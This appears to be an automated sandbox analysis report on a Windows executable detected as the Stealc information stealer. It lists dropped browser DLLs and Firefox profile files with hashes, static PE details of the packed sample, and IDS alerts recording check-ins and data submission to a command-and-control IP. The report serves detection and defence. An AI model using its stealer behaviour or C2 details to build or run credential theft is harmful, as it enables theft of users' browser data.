Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGCBFBAKEBFBKFBFBAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: out.exe, Detection: malicious, Browse Filename: wULBz8VjH0.exe, Detection: malicious, Browse Filename: FdjDPFGTZS.exe, Detection: malicious, Browse Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948066068524553
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'819'648 bytes
MD5:	1e493ca759006742b07a64f877b01ed2
SHA1:	b89cba8e94b691b6b68f8c863f380d491306915f
SHA256:	3529de7eb42d68673a45171c6b6c54200e1f90ca791217702d44bf133f72e251
SHA512:	e470f13695ebe587be4ef7a44f3e35cbb795fa93f7e4db653b0c2e63bcdf9fbaeeb1e21786c35594e73927a93c1474821269b048e21c254eeadf11e8478af3df
SSDEEP:	24576:2VU1J3VLzZpRcoBndjXGoMuddi9j+rc4x10CsdqBt0Uz1p3i7i1XbPZq+IKaWvgZ:kejdpRc6dDGz6Aq01I+9utpOWaTsZY/
TLSH:	A98533845597EBB9C9C90A3BD656D0A82F786907730A0A504C7AE377250331BBBFD8F4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1B3112110Ah
cpuid
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1B31123105h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	2f2e1b55f8afa5473882f442b0730f5e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29b000	0x200	97801dc5937a25015b771b54a4fabd7f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nmowastc	0x4f9000	0x197000	0x196200	c227f0d13171567e947b42e7891763b9	False	0.9947808460295475	data	7.954044179670198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
glejfpla	0x690000	0x1000	0x400	cf26118bafd2a8def19047b1cfb1db6e	False	0.779296875	data	6.063382059954832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	e5c487d56438f17431be5ae80f3de62e	False	0.05503216911764706	DOS executable (COM)	0.7560704802386489	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T00:13:19.348416+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:19.567127+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:19.576866+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.8	49704	TCP
2024-10-08T00:13:19.787590+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:19.796824+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.8	49704	TCP
2024-10-08T00:13:20.769767+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:22.558447+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:27.559155+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:28.636576+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:29.307200+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
